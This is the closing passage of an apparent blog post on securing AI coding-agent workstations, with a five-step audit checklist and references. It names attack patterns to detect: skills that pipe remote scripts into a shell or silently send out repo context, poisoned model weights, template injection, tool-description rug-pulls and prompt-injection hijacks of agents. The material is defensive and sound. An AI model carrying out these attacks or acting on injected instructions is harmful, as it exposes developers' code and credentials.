- Weight-level backdoors: binary structure and template checks catch smuggling and Jinja injection, while a model fine-tuned on poisoned weights can still emit vulnerable code. Pull base weights from verified orgs and compare SHA-256 digests against official releases.
- Runtime mutation behind static remote MCP URLs: pinning `pinnedToolsSha256` catches tool-description rug-pulls only if your MCP client or proxy verifies the live `tools/list` digest before every session. Local digest-pinned containers avoid third-party schema drift altogether.

## 5-minute developer supply-chain audit checklist

Use this five-step sequence to audit an existing coding-agent workstation before your next session:

1. **Scan every installed skill and repo `AGENTS.md` / `CLAUDE.md` (60s).** Run `pre-install-agent-gate.py --skills` locally and add `NVIDIA/SkillSpector` in CI. Reject any skill that pipes remote scripts into a shell, splits download and execution across separate commands, or silently POSTs prompt or repo context.
2. **Eliminate floating MCP installs (60s).** Search every MCP config (`mcp.json`, `.mcp.json`, Claude, Codex, and Cursor configs) for `npx -y`, unpinned `uvx`, and `:latest` Docker tags. Replace them with lockfile-installed local builds or `@sha256`-pinned container images.
3. **Cut MCP egress and strip plaintext secrets (60s).** Run third-party MCP servers with `--network=none` (or on an `internal: true` Compose network), `--read-only`, `--cap-drop=ALL`, and a non-root UID. Pass scoped short-lived credentials via `${ENV_VAR}` substitution instead of literal tokens in JSON.
4. **Verify local GGUF binaries before loading (60s).** Run `pre-install-agent-gate.py --gguf` or `gguf-radar scan` on every community `.gguf`. Confirm `trailing_bytes == 0`, standard `general.alignment` (32 bytes) with zeroed padding, and a clean `tokenizer.chat_template`.
5. **Override embedded chat templates and isolate checkouts (60s).** Start `llama-server` and `llama-cli` with `--jinja --chat-template-file ./verified.jinja` (or set `TEMPLATE` in your Ollama `Modelfile`), and point coding agents at a disposable `git worktree` instead of a working tree holding production credentials or home-directory dotfile mounts.

## References

- **Companion Script Gist (`pre-install-agent-gate.py` + `README.md`):** [gist.github.com/nareshh74/3a2bb7013aa281f4a376a38891dde2ed](https://gist.github.com/nareshh74/3a2bb7013aa281f4a376a38891dde2ed)
- **Week 1 companion post (skill token budgeting and harness isolation)**: [nareshh74.hashnode.dev/unifying-5-coding-agent-harnesses](https://nareshh74.hashnode.dev/unifying-5-coding-agent-harnesses)
- **Convex backend skill Issue #64 (exfiltration and split-Bash classifier bypass)**: [github.com/convex/convex-backend-skill/issues/64](https://github.com/convex/convex-backend-skill/issues/64)
- **Malspark GGUF malware research (3.27M Hugging Face repo scan)**: [malspark.com/blog/malicious-gguf-models-hugging-face](https://malspark.com/blog/malicious-gguf-models-hugging-face/)
- **`Root0ne/gguf-radar` (GGUF pre-download scanner and sanitizer)**: [github.com/Root0ne/gguf-radar](https://github.com/Root0ne/gguf-radar)
- **`NVIDIA/SkillSpector` and Verified Skills docs**: [github.com/NVIDIA/SkillSpector](https://github.com/NVIDIA/SkillSpector) | [docs.nvidia.com/skills](https://docs.nvidia.com/skills/)
- **`cloudflare/security-audit-skill` and vulnerability harness**: [github.com/cloudflare/security-audit-skill](https://github.com/cloudflare/security-audit-skill) | [blog.cloudflare.com/build-your-own-vulnerability-harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness)
- **`Lee-xeo/Claude-Cage` (lightweight VM wrapper for Claude)**: [github.com/Lee-xeo/Claude-Cage](https://github.com/Lee-xeo/Claude-Cage)
- **Codersera 2026 AI coding agent sandboxing guide**: [codersera.com/blog/how-to-sandbox-ai-coding-agents-2026](https://codersera.com/blog/how-to-sandbox-ai-coding-agents-2026/)
- **Endor Labs coding agent sandbox posture**: [endorlabs.com/learn/introducing-sandbox-posture-in-coding-agent-governance](https://www.endorlabs.com/learn/introducing-sandbox-posture-in-coding-agent-governance)
- **Forever Security / Aviatrix `AGENTS.md` hijack breakdown**: [dev.to/johnnylemonny/one-markdown-file-can-hijack-your-ai-coding-agent-the-hidden-cost-of-blindly-trusting-agentsmd-167n](https://dev.to/johnnylemonny/one-markdown-file-can-hijack-your-ai-coding-agent-the-hidden-cost-of-blindly-trusting-agentsmd-167n)
- **WebMCP Attack Lab (tool-description prompt injection)**: [dev.to/gramli/webmcp-attack-lab-can-an-e-shop-hijack-your-ai-agent-4oe5](https://dev.to/gramli/webmcp-attack-lab-can-an-e-shop-hijack-your-ai-agent-4oe5)
- **Indirect prompt injection field guide (lethal trifecta)**: [dev.to/rudratosh/your-ai-agent-trusts-everything-it-reads-a-field-guide-to-hijacking-claude-gpt-gemini-copilot-1l6k](https://dev.to/rudratosh/your-ai-agent-trusts-everything-it-reads-a-field-guide-to-hijacking-claude-gpt-gemini-copilot-1l6k)
- **`llama.cpp` CLI options and `llama-server` docs (`--jinja`, `--chat-template-file`)**: [github.com/ggml-org/llama.cpp/blob/master/common/arg.cpp](https://github.com/ggml-org/llama.cpp/blob/master/common/arg.cpp) | [github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md)
- **GGUF binary format specification**: [github.com/ggml-org/ggml/blob/master/docs/gguf.md](https://github.com/ggml-org/ggml/blob/master/docs/gguf.md)
